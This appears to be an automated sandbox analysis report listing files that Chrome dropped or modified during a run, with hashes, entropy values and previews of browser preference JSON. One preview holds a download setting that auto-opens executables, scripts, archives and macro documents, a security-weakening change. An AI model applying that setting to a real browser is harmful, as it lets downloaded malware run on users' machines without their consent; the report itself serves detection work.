Preview: BDic.... ....6...."..Z..4g....6.2...{/...3...5....AF 1363.AF nm.AF pt.AF n1.AF p.AF tc.AF SM.AF M.AF S.AF MS.AF MNR.AF GDS.AF MNT.AF MH.AF MR.AF SZMR.AF MJ.AF 
MT.AF MY.AF MRZ.AF MN.AF MG.AF RM.AF N.AF MV.AF XM.AF DSM.AF SD.AF G.AF R.AF MNX.AF MRS.AF MD.AF MNRB.AF B.AF ZSMR.AF PM.AF SMNGJ.AF 
SMN.AF ZMR.AF SMGB.AF MZR.AF GM.AF SMR.AF SMDG.AF RMZ.AF ZM.AF MDG.AF MDT.AF SMNXT.AF SDY.AF LSDG.AF LGDS.AF GLDS.AF UY.AF U.AF 
DSGNX.AF GNDSX.AF DSG.AF Y.AF GS.AF IEMS.AF YP.AF ZGDRS.AF XGNVDS.AF UT.AF GNDS.AF GVDS.AF MYPS.AF XGNDS.AF TPRY.AF MDSG.AF ZGSDR.
AF DYSG.AF PMYTNS.AF AGDS.AF DRZGS.AF PY.AF GSPMDY.AF EGVDS.AF SL.AF GNXDS.AF DSBG.AF IM.AF I.AF MDGS.AF SMY.AF DSGN.AF DSLG.AF GM
DS.AF MDSBG.AF SGD.AF IY.AF P.AF DSMG.AF BLZGDRS.AF TR.AF AGSD.AF ZGBDRSL.AF PTRY.AF ASDGV.AF ASM.AF ICANGSD.AF ICAM.AF IKY.AF AMS
.AF PMYTRS.AF BZGVDRS.AF SDRBZG.AF GVMDS.AF PSM.AF DGLS.AF GNVXDS.AF AGDSL.AF DGS.AF XDSGNV.AF BZGDRS.AF AM.AF AS.AF A.AF LDSG.AF 
AGVDS.AF SDG.AF LDSMG.AF EDSMG.AF EY.AF DRSMZG.AF PRYT.AF LZ

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 208193

Entropy (8bit): 6.071908670031051

Encrypted: false

SSDEEP: 6144:SWgf8qhZMAw15v4rYEoAaqfIlUOoSiuR+:SWgf9OLfQrY9oR

MD5: A3A3EC05DE9C86317B223FFAA12C29DA

SHA1: 4E555622E66BA26CC9369359B4FED77A20235465

SHA-256: 229667DD1D738D8ABE90AAB54BDBB86F711486AD8BF4B568CE85CA26F4D4B7DD

SHA-512: E8B7E8B670DF3B9831A777EB410AD3789D8F009D1F5C4B18EB47D31804C1E1FF8D44C99C0A30EB63F257046AC65535380EEB72FB88B679C39529448722A8BC34

Malicious: false

Reputation: low

Preview: {"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":
{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"ne
twork_time":{"network_time_mapping":{"local":1.6547072399009e+12,"network":1.654674841e+12,"ticks":130887661.0,"uncertainty":3930767.0}},"os_crypt":{"encrypted_
key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABL95WKt94zTZq03WydzHLcAAAAAAIAAAAAABBmAAAAAQAAIAAAABAL2tyan+lsWtxhoUVdUYrYiw
g8iJkppNr2ZbBFie9UAAAAAA6AAAAAAgAAIAAAABDv4gjLq1dOS7lkRG21YVXojnHhsRhNbP8/D1zs78mXMAAAAB045Od5v4BxiFP4bdRYJjDXn4W2fxYqQj
2xfYeAnS1vCL4JXAsdfljw4oXIE4R7l0AAAABlt36FqChftM9b7EtaPw98XRX5Y944rq1WsGWcOPFyXOajfBL3GXBUhMXghJbDGb5WCu+JEdxaxLLxaYPp4zeP"},"pass
word_manager":{"os_password_blank":true,"os_password_last_changed":"13245951016607996"},"plugins":{"metadata":{"adobe-flash-player":{"displa

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: modified

Size (bytes): 200310

Entropy (8bit): 6.0450968341163716

Encrypted: false

SSDEEP: 3072:kguYruD6fAnjGrlEDtADU1GSvaLxv9CDEoKFcbXafIB0u1GOJmA3iuR+:kgf8qhZMAw15v4rYEoAaqfIlUOoSiuR+

MD5: 9ADAFD960BD059A3787ADE4B65D9F405

SHA1: 6FF765B569D8BFAF5DC24FE4125FE6E36AE53A6C

SHA-256: E447E7D2C797B7E5169C3D42E11F6BC8399159A58BF9217AADF8A4AE23622E47

SHA-512: 925FE9A6A7EA36408C16000E6905393FD1585643DFB6C06B819301A998E07485C0FAF374BC38D9236BF029042B0F54CEE2E3589E521E81856ED698A09687BE6A

Malicious: false

Reputation: low

C:\Program Files\Google\Chrome\Application\Dictionaries\en-US-9-0.bdic

C:\Users\user\AppData\Local\Google\Chrome\User Data\05ecd3b2-b9b6-4615-8da0-61857a45cdbb.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\1407162b-46f0-4f86-8672-b5bb5d6ef13e.tmp
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Preview: {"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":
{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"ne
twork_time":{"network_time_mapping":{"local":1.6547072399009e+12,"network":1.654674841e+12,"ticks":130887661.0,"uncertainty":3930767.0}},"os_crypt":{"encrypted_
key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABL95WKt94zTZq03WydzHLcAAAAAAIAAAAAABBmAAAAAQAAIAAAABAL2tyan+lsWtxhoUVdUYrYiw
g8iJkppNr2ZbBFie9UAAAAAA6AAAAAAgAAIAAAABDv4gjLq1dOS7lkRG21YVXojnHhsRhNbP8/D1zs78mXMAAAAB045Od5v4BxiFP4bdRYJjDXn4W2fxYqQj
2xfYeAnS1vCL4JXAsdfljw4oXIE4R7l0AAAABlt36FqChftM9b7EtaPw98XRX5Y944rq1WsGWcOPFyXOajfBL3GXBUhMXghJbDGb5WCu+JEdxaxLLxaYPp4zeP"},"pass
word_manager":{"os_password_blank":true,"os_password_last_changed":"13291230639805715"},"plugins":{"metadata":{"adobe-flash-player":{"displa

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 208193

Entropy (8bit): 6.071908670031051

Encrypted: false

SSDEEP: 6144:SWgf8qhZMAw15v4rYEoAaqfIlUOoSiuR+:SWgf9OLfQrY9oR

MD5: A3A3EC05DE9C86317B223FFAA12C29DA

SHA1: 4E555622E66BA26CC9369359B4FED77A20235465

SHA-256: 229667DD1D738D8ABE90AAB54BDBB86F711486AD8BF4B568CE85CA26F4D4B7DD

SHA-512: E8B7E8B670DF3B9831A777EB410AD3789D8F009D1F5C4B18EB47D31804C1E1FF8D44C99C0A30EB63F257046AC65535380EEB72FB88B679C39529448722A8BC34

Malicious: false

Reputation: low

Preview: {"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":
{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"ne
twork_time":{"network_time_mapping":{"local":1.6547072399009e+12,"network":1.654674841e+12,"ticks":130887661.0,"uncertainty":3930767.0}},"os_crypt":{"encrypted_
key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABL95WKt94zTZq03WydzHLcAAAAAAIAAAAAABBmAAAAAQAAIAAAABAL2tyan+lsWtxhoUVdUYrYiw
g8iJkppNr2ZbBFie9UAAAAAA6AAAAAAgAAIAAAABDv4gjLq1dOS7lkRG21YVXojnHhsRhNbP8/D1zs78mXMAAAAB045Od5v4BxiFP4bdRYJjDXn4W2fxYqQj
2xfYeAnS1vCL4JXAsdfljw4oXIE4R7l0AAAABlt36FqChftM9b7EtaPw98XRX5Y944rq1WsGWcOPFyXOajfBL3GXBUhMXghJbDGb5WCu+JEdxaxLLxaYPp4zeP"},"pass
word_manager":{"os_password_blank":true,"os_password_last_changed":"13245951016607996"},"plugins":{"metadata":{"adobe-flash-player":{"displa

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 200226

Entropy (8bit): 6.044951362049408

Encrypted: false

SSDEEP: 3072:OguYruD6fAnjGrlEDtADU1GSvaLxv9CDEoKFcbXafIB0u1GOJmA3iuR+:Ogf8qhZMAw15v4rYEoAaqfIlUOoSiuR+

MD5: 065D78A7FE77FC4E64BA41D3DA069307

SHA1: 9820C311249565FF2BDCB4FB386CC8538A39E028

SHA-256: 39512024773CB2805AF9B753B61076A1FA24A36AE899364BD4A7BB36A1BA68B0

SHA-512: 6AB70BE08A93044104BE3968FCBBCBE63CB586C827DFCF37EC2192F1016230F87D86AE43A99A52895F90E3FF5E58CF94856C967AB647D5624C472D51453206DB

Malicious: false

Reputation: low

Preview: {"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":
{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"ne
twork_time":{"network_time_mapping":{"local":1.6547072399009e+12,"network":1.654674841e+12,"ticks":130887661.0,"uncertainty":3930767.0}},"os_crypt":{"encrypted_
key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABL95WKt94zTZq03WydzHLcAAAAAAIAAAAAABBmAAAAAQAAIAAAABAL2tyan+lsWtxhoUVdUYrYiw
g8iJkppNr2ZbBFie9UAAAAAA6AAAAAAgAAIAAAABDv4gjLq1dOS7lkRG21YVXojnHhsRhNbP8/D1zs78mXMAAAAB045Od5v4BxiFP4bdRYJjDXn4W2fxYqQj
2xfYeAnS1vCL4JXAsdfljw4oXIE4R7l0AAAABlt36FqChftM9b7EtaPw98XRX5Y944rq1WsGWcOPFyXOajfBL3GXBUhMXghJbDGb5WCu+JEdxaxLLxaYPp4zeP"},"pass
word_manager":{"os_password_blank":true,"os_password_last_changed":"13291230639805715"},"plugins":{"metadata":{"adobe-flash-player":{"displa

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 200136

Entropy (8bit): 6.0447147614448635

Encrypted: false

SSDEEP: 3072:DguYruD6fAnjGrlEDtADU1GSvaLxv9CDEoKFcbXafIB0u1GOJmA3iuR+:Dgf8qhZMAw15v4rYEoAaqfIlUOoSiuR+

MD5: 80D21B9FBD8B4F16485754B8AE915814

SHA1: 2991410C7917CF1A282B28A9BE460938C23A92A7

SHA-256: 27D7D7EC798B70968F4DEA8C976D2FE53C9BC3F1A00FE14DA306EAD0A6FDB0C5

SHA-512: E7297E86BCCFF5F0063C0175E21009FE51631705E83E5541EB7126744BFA40EF9798DFEC05482A90D4623D295984B1B0CEC6B64289200D1D10EAEA010ABD4D4D

C:\Users\user\AppData\Local\Google\Chrome\User Data\148d2889-8d30-44d4-8b25-4acd45abbdd3.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\22104b31-e7f3-42fe-ad8e-a4890f404a1e.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\2bb3990c-e433-4e80-a92c-453c97f30a33.tmp
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Malicious: false

Reputation: low

Preview: {"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":
{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"ne
twork_time":{"network_time_mapping":{"local":1.6547072399009e+12,"network":1.654674841e+12,"ticks":130887661.0,"uncertainty":3930767.0}},"os_crypt":{"encrypted_
key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABL95WKt94zTZq03WydzHLcAAAAAAIAAAAAABBmAAAAAQAAIAAAABAL2tyan+lsWtxhoUVdUYrYiw
g8iJkppNr2ZbBFie9UAAAAAA6AAAAAAgAAIAAAABDv4gjLq1dOS7lkRG21YVXojnHhsRhNbP8/D1zs78mXMAAAAB045Od5v4BxiFP4bdRYJjDXn4W2fxYqQj
2xfYeAnS1vCL4JXAsdfljw4oXIE4R7l0AAAABlt36FqChftM9b7EtaPw98XRX5Y944rq1WsGWcOPFyXOajfBL3GXBUhMXghJbDGb5WCu+JEdxaxLLxaYPp4zeP"},"pass
word_manager":{"os_password_blank":true,"os_password_last_changed":"13291230639805715"},"plugins":{"metadata":{"adobe-flash-player":{"displa

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 208193

Entropy (8bit): 6.071909068257794

Encrypted: false

SSDEEP: 6144:iWgf8qhZMAw15v4rYEoAaqfIlUOoSiuR+:iWgf9OLfQrY9oR

MD5: 9935117F6682F5CC58ACB3D3D35F8EF2

SHA1: 95770B80B00B02699C2B2FDAB8A55C766410C342

SHA-256: 1D2DC959AF730283B824BE5E07503AAAAFA58E5CBE4E99B40C263FF45D20026B

SHA-512: BD3DD10EA7B967C9886460D68C904179102F09012F2953E01DD93287D0FE89162CB42D019A4F5EB5677EE7DBC858FFA22E5B673B979C3AD83103E7D0FDF0585A

Malicious: false

Reputation: low

Preview: {"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":
{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"ne
twork_time":{"network_time_mapping":{"local":1.6547072399009e+12,"network":1.654674841e+12,"ticks":130887661.0,"uncertainty":3930767.0}},"os_crypt":{"encrypted_
key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABL95WKt94zTZq03WydzHLcAAAAAAIAAAAAABBmAAAAAQAAIAAAABAL2tyan+lsWtxhoUVdUYrYiw
g8iJkppNr2ZbBFie9UAAAAAA6AAAAAAgAAIAAAABDv4gjLq1dOS7lkRG21YVXojnHhsRhNbP8/D1zs78mXMAAAAB045Od5v4BxiFP4bdRYJjDXn4W2fxYqQj
2xfYeAnS1vCL4JXAsdfljw4oXIE4R7l0AAAABlt36FqChftM9b7EtaPw98XRX5Y944rq1WsGWcOPFyXOajfBL3GXBUhMXghJbDGb5WCu+JEdxaxLLxaYPp4zeP"},"pass
word_manager":{"os_password_blank":true,"os_password_last_changed":"13291230639805715"},"plugins":{"metadata":{"adobe-flash-player":{"displa

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 101472

Entropy (8bit): 3.751957474148612

Encrypted: false

SSDEEP: 384:ibSVh/Y6AV4XHVEKZ8NJrSvN/O3OhfmHnCGKtrosZWQ5mxlTVDrzKrolmQkuYXpM:XyKgFi4MKMe7bpPEv/YXbe3Kt7RJN

MD5: AD1B129586FDEDDD06730968635A1931

SHA1: D74171BB761967D72906830DFA223A66F9EB78E3

SHA-256: AA99FC93A6FB41F05BA6185D8A19CFE00E50FF194F4216F9C907DF1B69E8A216

SHA-512: DD87AAAFFABEE92FB5B12B5E23A3BA8F7B5625A0EF96D9F6BA1C5280FD52AAFEF1A0CDBF9B6FEFA72FDF14630157CA7ABE8400FCA115DDE17ECB20F51CA
9AEC9

Malicious: false

Reputation: low

Preview: \...............*...C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L..P!...[)...%.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .o.f.f.i.c.e.\.o.f.f.i.c.e
.1.6.\.......g.r.o.o.v.e.e.x...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .2.0.1.6...*...M.i.c.r.o.s.o.f.t. .O.n.e.D.r.i.v.e. .f.o.r. .B.u.s.i.n.e.s.s. .E.x.t.e.n.s.i.o.n.s.....1.6...0...4.7.1.1...1.0
.0.0.....*...C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L.....M.i.c.r.o.s.o.f.t. .C.o.r.p.o.r.a.t.i.o.n....^8.D...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.C.o
.m.m.o.n. .F.i.l.e.s.\.M.i.c.r.o.s.o.f.t. .S.h.a.r.e.d.\.O.F.F.I.C.E.1.6.\.m.s.o.s.h.e.x.t...d.l.l..@.....U/...%.c.o.m.m.o.n.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .s.h.a.r.e.d.\.o.f
.f.i.c.e.1.6.\.......m.s.o.s.h.e.x.t...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e.)...M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .S.h.e.l.l. .E.x.t.e.n.s.i.o.n. .H.a.n.d.l.e.r.s.......1.6...0...4.2.6.6...1.0.0.1.....D...C
.:.\.P.r.o.g.r.a.m.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 199761

Entropy (8bit): 6.043797657746245

Encrypted: false

SSDEEP: 3072:XguYruD6fAnjGrlEDtADU1GSvaLxv9CDEoKFcbXafIB0u1GOJmA3iuR+:Xgf8qhZMAw15v4rYEoAaqfIlUOoSiuR+

MD5: 66F01BA55AF387C74B0EFD205194148D

SHA1: 8D353978B5E09084F74AD35DCBD545664C8B51CC

C:\Users\user\AppData\Local\Google\Chrome\User Data\436c5d5e-dce5-4ed3-9529-765857d0ba82.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\546a1457-cc3f-4ec7-a92d-dc6c5a1d149a.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\5f2afbfc-f571-4e9f-9e57-9d743522af41.tmp
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SHA-256: FE7F3BD0736D948061BB9B0508E2B57B0E0FA154B7D40E4F3C79FE851F5B47E9

SHA-512: 4052B27990CE0CB5D35ADB2EC6FA18FB6C847800CD0D576D377DF7414A6C69A1EC5593F7EBB711967B52E7E15FB150409B8E8B1EC9974088DEE6DAED86C896
65

Malicious: false

Preview: {"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":
{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"ne
twork_time":{"network_time_mapping":{"local":1.6547072399009e+12,"network":1.654674841e+12,"ticks":130887661.0,"uncertainty":3930767.0}},"os_crypt":{"encrypted_
key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABL95WKt94zTZq03WydzHLcAAAAAAIAAAAAABBmAAAAAQAAIAAAABAL2tyan+lsWtxhoUVdUYrYiw
g8iJkppNr2ZbBFie9UAAAAAA6AAAAAAgAAIAAAABDv4gjLq1dOS7lkRG21YVXojnHhsRhNbP8/D1zs78mXMAAAAB045Od5v4BxiFP4bdRYJjDXn4W2fxYqQj
2xfYeAnS1vCL4JXAsdfljw4oXIE4R7l0AAAABlt36FqChftM9b7EtaPw98XRX5Y944rq1WsGWcOPFyXOajfBL3GXBUhMXghJbDGb5WCu+JEdxaxLLxaYPp4zeP"},"pass
word_manager":{"os_password_blank":true,"os_password_last_changed":"13291230639805715"},"plugins":{"metadata":{"adobe-flash-player":{"displa

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 208193

Entropy (8bit): 6.071908670031051

Encrypted: false

SSDEEP: 6144:SWgf8qhZMAw15v4rYEoAaqfIlUOoSiuR+:SWgf9OLfQrY9oR

MD5: A3A3EC05DE9C86317B223FFAA12C29DA

SHA1: 4E555622E66BA26CC9369359B4FED77A20235465

SHA-256: 229667DD1D738D8ABE90AAB54BDBB86F711486AD8BF4B568CE85CA26F4D4B7DD

SHA-512: E8B7E8B670DF3B9831A777EB410AD3789D8F009D1F5C4B18EB47D31804C1E1FF8D44C99C0A30EB63F257046AC65535380EEB72FB88B679C39529448722A8BC34

Malicious: false

Preview: {"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":
{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"ne
twork_time":{"network_time_mapping":{"local":1.6547072399009e+12,"network":1.654674841e+12,"ticks":130887661.0,"uncertainty":3930767.0}},"os_crypt":{"encrypted_
key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABL95WKt94zTZq03WydzHLcAAAAAAIAAAAAABBmAAAAAQAAIAAAABAL2tyan+lsWtxhoUVdUYrYiw
g8iJkppNr2ZbBFie9UAAAAAA6AAAAAAgAAIAAAABDv4gjLq1dOS7lkRG21YVXojnHhsRhNbP8/D1zs78mXMAAAAB045Od5v4BxiFP4bdRYJjDXn4W2fxYqQj
2xfYeAnS1vCL4JXAsdfljw4oXIE4R7l0AAAABlt36FqChftM9b7EtaPw98XRX5Y944rq1WsGWcOPFyXOajfBL3GXBUhMXghJbDGb5WCu+JEdxaxLLxaYPp4zeP"},"pass
word_manager":{"os_password_blank":true,"os_password_last_changed":"13245951016607996"},"plugins":{"metadata":{"adobe-flash-player":{"displa

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 40

Entropy (8bit): 3.254162526001658

Encrypted: false

SSDEEP: 3:FkXft0xE1n:+ftIE1n

MD5: BD4642AD6C750A12D912B20BCB92E14D

SHA1: C549F0F48FDD4FBC62E51AC26D7E185160CE2123

SHA-256: 4FD71FE78DFE203137C89C9FB0734358FF432F2BC83338112DC7B830F9B30F2C

SHA-512: 04410D12EF327614C3AF1251C9906BFEB2977211A7F53CBB08A8C01F9465A382CD001E51AB936A0D196D359F1DECDDAEAF5E7D1DBD49CE5F4FF91BF5C332B6
CF

Malicious: false

Preview: sdPC....................s}.....M..2.!..%

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 17703

Entropy (8bit): 5.576770716032121

Encrypted: false

SSDEEP: 384:FLPtdLlbYX41kXqKf/pUZNCgVLH2HfDDrUBGw4LS:1LlG41kXqKf/pUZNCgVLH2Hf3rUYwB

MD5: FF94AB7712B699609384F30B71ED8E9E

SHA1: C8CD0BC2D4E483F222DBD6C8DA8BF1BFB7886072

SHA-256: 5B771474E544E874EFEDF5FAC093846F6625249F8BDB5688887E67712CDAC8AD

SHA-512: 6BC6809AAC84DB8F0033F9F13D7227927CA36A07B8F1CC18F8C596F1138B9E6CEC39F315BC6F44F2E1161E36575E37152095EE4A7773F0E989F2DAB6E7A6AE50

Malicious: false

C:\Users\user\AppData\Local\Google\Chrome\User Data\6f7f3e68-bf64-43fd-98fc-50372da0d07f.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\26ef0a44-1c96-421c-9319-03902ef14b1f.tmp
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Preview: {"download":{"always_open_pdf_externally":true,"directory_upgrade":true,"extensions_to_open":"pdf:doc:docx:docxm:docm:xls:xlsx:xlsxm:xlsm:ppt:pptx:pptxm:pptm:mh
t:rtf:pub:vsd:mpp:mdb:dot:dotm:xlsb:xll:hwp:show:cell:hwpx:hwt:jtd:zip:iso:7z:rar:tar:vbs:js:jse:vbe:exe:html:htm:xhtml:tbz2:lz"},"extensions":{"settings":{"ahfgeienlihck
ogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network
"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"from_bookmark":false,"from_webstore":false,"i
ncognito_content_settings":[],"incognito_preferences":{},"install_time":"13299180837416096","location":5,"manifest":{"app":{"launch":{"web_url":"https://chrome.
google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and themes for Google Chrome.","icons":
{"128":"webstore_i

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 1880

Entropy (8bit): 4.889611153583863

Encrypted: false

SSDEEP: 48:YALtkNTntwCXGDH3qyvz5sHGsfRLsZbrIBs7QwL:MNTnOCXGDHa+zERMrKq

MD5: BB0341952DA255177C27F2AFABEB455F

SHA1: EE291709553F7648B19EE8AE828ADE303D9850FD

SHA-256: 6E05BA8DCBF25A9267EFB5955220E46BEC88DF65218DB6E98670F4C4908894FB

SHA-512: 4F6AE9B6F5717228F94F154C20BE084D6F9FFD268D898A9EADDB9435171794985948001FACF5E3FA38496B3877E0CAC73A1706899D05B5720DE1C7AB8B5A1428

Malicious: false

Preview: {"net":{"http_server_properties":{"broken_alternative_services":[{"broken_count":1,"broken_until":"1654707557","host":"clients2.google.com","isolation":[],"port":443,"pro
tocol_str":"quic"}],"servers":[{"isolation":[],"server":"https://www.gstatic.com","supports_spdy":true},{"isolation":[],"server":"https://www.google.com","supports_spdy":true},
{"isolation":[],"server":"https://ssl.gstatic.com","supports_spdy":true},{"isolation":[],"server":"https://fonts.gstatic.com","supports_spdy":true},{"isolation":[],"server":"https://ap
is.google.com","supports_spdy":true},{"isolation":[],"server":"https://play.google.com","supports_spdy":true},{"isolation":[],"server":"https://ogs.google.com","supports_
spdy":true},{"isolation":[],"server":"https://www.googleapis.com","supports_spdy":true},{"isolation":[],"server":"https://clients2.googleusercontent.com","supports_spdy":
true},{"isolation":[],"server":"https://dns.google","supports_spdy":true},{"alternative_service":[{"advertised_versions":[50],"exp

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 4873

Entropy (8bit): 4.9588542755783065

Encrypted: false

SSDEEP: 48:YcxUklSLklwHjhc9qA8iqTlYqlQKHoTw0GPH3CH3G/s8C1Nfct/9BhUJo3KhmeSz:nxCIMX1pcKIwok0JCKL8VbOTQVuwn

MD5: 5B3A4020E12D5EBAD709CC4607E3620F

SHA1: 670BB861DA302C59AC72982FB5E8DC06685B6F81

SHA-256: 93D06B3810531DDD94E7DC2BD6F38E8BC3BCBD270053F956187F78E5C9831A24

SHA-512: 7729BB72356DB6AF3F7BC93EF62CB425D7F9F4EE4ABFB3E77F8C1EDD52C68EC6BBC97BF116114749095A5844A74EA33B489FA2E96DF497F3F6CFB4ADC214B6
44

Malicious: false

Preview: {"account_id_migration_state":2,"account_tracker_service_last_update":"13299180838484368","alternate_error_pages":{"backup":true},"announcement_notification_ser
vice_first_run_time":"13245951485614034","autocomplete":{"retention_policy_last_version":85},"autofill":{"orphan_rows_removed":true},"browser":{"default_browser
_infobar_last_declined":"13245951692116406","has_seen_welcome_page":true,"navi_onboard_group":"","should_reset_check_default_browser":false,"window_pl
acement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"co
untryid_at_install":21843,"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0"
,"0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","7355378"],"daily_received_length":["0","0","0","0","0","0","0","

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: very short file (no magic)

Category: dropped

Size (bytes): 1

Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 3:L:L

MD5: 5058F1AF8388633F609CADB75A75DC9D

SHA1: 3A52CE780950D4D969792A2559CD519D7EE8C727

SHA-256: CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8

SHA-512: 0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F2
5F21

Malicious: false

Preview: .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\48c73de8-0090-4d04-9af6-227975bb8e5b.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\583af293-61ac-4894-a1f4-ebafda79de76.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\58592cb6-dd63-4405-a017-84c936c34d16.tmp
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Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 19792

Entropy (8bit): 5.564143462070435

Encrypted: false

SSDEEP: 384:FLPtdLlbYX41kXqKf/pUZNCgVLH2HfDDrUpHGnzw4H:1LlG41kXqKf/pUZNCgVLH2Hf3rUNGzwo

MD5: AC6C0B95982DE949A2AC485AC005C237

SHA1: CA7825EE22F7D54CC163A70224302E7B4D5D05D6

SHA-256: 3EB39B552278F39B14377EE39A8F4D51422B6A87D845602D0CA32D8753FCD5E9

SHA-512: 589CEAB7E4511BB9CC03FF68FDFD43671B428BBB0C63412AAD21545DD30E0CCEC1496847A0B50C70EB75E4638824589DFE3956014DD20CBBD186124EFE4F00
